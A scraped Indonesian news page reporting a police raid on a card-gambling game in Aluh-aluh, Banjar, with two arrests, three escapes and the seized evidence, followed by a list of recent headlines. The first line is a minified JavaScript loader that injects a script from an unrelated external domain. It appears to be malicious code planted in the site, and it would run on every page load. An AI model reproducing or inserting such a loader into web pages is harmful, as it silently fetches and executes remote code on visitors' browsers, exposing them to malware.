(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Asik Bermain Judi Kartu, 2 Orang Diciduk 3 Lainnya Berhasil Kabur


BANJARBARU, Satuan Reserse Kriminal (Reskrim) Polsek Aluh-aluh menangkap 2 orang pelaku judi remi dan domino di Desa Simpang Pipih, Kecamatan Aluh-aluh Kabupaten Banjar, Sabtu (21/4) malam. Adalah G (30), warga desa Simpang Pipih RT 7 Kecamatan Aluh-aluh dan S (41), warga desa Aluh-aluh Besar RT 6 Kecamatan Aluh-aluh.

Menurut Kasubbag Humas Polres Banjarbaru AKP Siti Rohayati, penangkapan tersebut bermula dari pengaduan masyarakat tentang adanya perjudian dengan menggunakan kartu remi dan domino di desa Simpang Pipih. Mendapati pengaduan tersebut, petugas yang sedang melakukan patroli dan langsung melakukan penyelidikan di lokasi tersebut dan didapati fakta bahwa benar di lokasi tersebut sering dipakai untuk bermain judi.

“Setelah melakukan penyelidikan, diketahui ada fakta tentang seringnya dilakukan perjudian di lokasi tersebut,” terang Kasubbag Humas.

Setelah melakukan penyelidikan dan dipastikan kebenaran informasi tersebut, selanjutnya anggota langsung melakukan penggerebekan. Saat di lakukan penggerebekan didapati ada sekitar 5 orang laki-laki disana sedang bermain judi. Waktu pelaku ingin ditangkap, 3 orang pelaku langsung melarikan diri dengan cara mendobrak dinding rumah yang terbuat dari kayu melewati persawahan.

“Sewaktu melakukan penangkapan 3 orang pelaku kabur dengan cara mendobrak ke dinding sehingga berlobang dan langsung melarikan diri ke persawahan, pelaku yang berhasil ditangkap ada 2 orang,” ucap AKP Siti Rohayati Kasubbag Humas Polres Banjarbaru.

Turut diamankan barang bukti berupa uang tunai sebesar Rp 482.000, 3 buah handphone, 3 set kartu remi, 5 set kartu domino dan 2 buah dompet warna hitam.

“Untuk pelaku beserta barang bukti diamankan ke Mapolres Banjarbaru guna proses hukum lebih lanjut,” imbuh Kasubbag Humas.

Sementara itu, Kapolres Banjarbaru AKBP Kelana Jaya, dua pelaku perjudian jenis kartu remi dan domini kedua pelaku oleh penyidik dijerat dengan pasal 303 KUHP dengan ancaman hukuman 4 tahun penjara dan denda maksimal 10 juta rupiah.

Kepada masyarakat, Kapolres Banjarbaru AKBP Kelana Jaya menegaskan, Polres Banjarbaru berkomitmen akan memberantas segala bentuk perjudian serta penyakit masyarakat lainnya.

“Berikan informasi kepada Polisi, kami akan memberantasnya,” tegas Kapolres. (rico)

Reporter : Rico
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

10 jam ago

Jemaah Haul ke-6 Abah Haji Penuhi Jalan Masjid Jami Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Muhammad Zuhdianoor atau dikenal Abah Haji… Read More

11 jam ago

Satgas Saber Pangan HSU Turun ke Pasar Induk Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More

11 jam ago

Bupati Banjar Ingatkan Kantor Desa Garda Terdepan Pelayanan dan Bebas Pungli

KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur meresmikan tiga kantor desa dan Taman Pendidikan… Read More

12 jam ago

Cuti Bersama Tahun Baru Imlek, PTAM Intan Banjar Sesuaikan Jam Kerja Kantor Pelayanan

KANALKALIMANTAN.COM, BANJARBARU – Jam pelayanan dan jam kerja di kantor pelayanan PT Air Minum (PTAM) Intan… Read More

13 jam ago

Bapokting Naik, Wakil Wali Kota Ananda: Jangan Sampai Panic Buying!

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Wali Kota Banjarmasin, Hj Ananda mengimbau masyarakat untuk tidak panic buying… Read More

18 jam ago

This website uses cookies.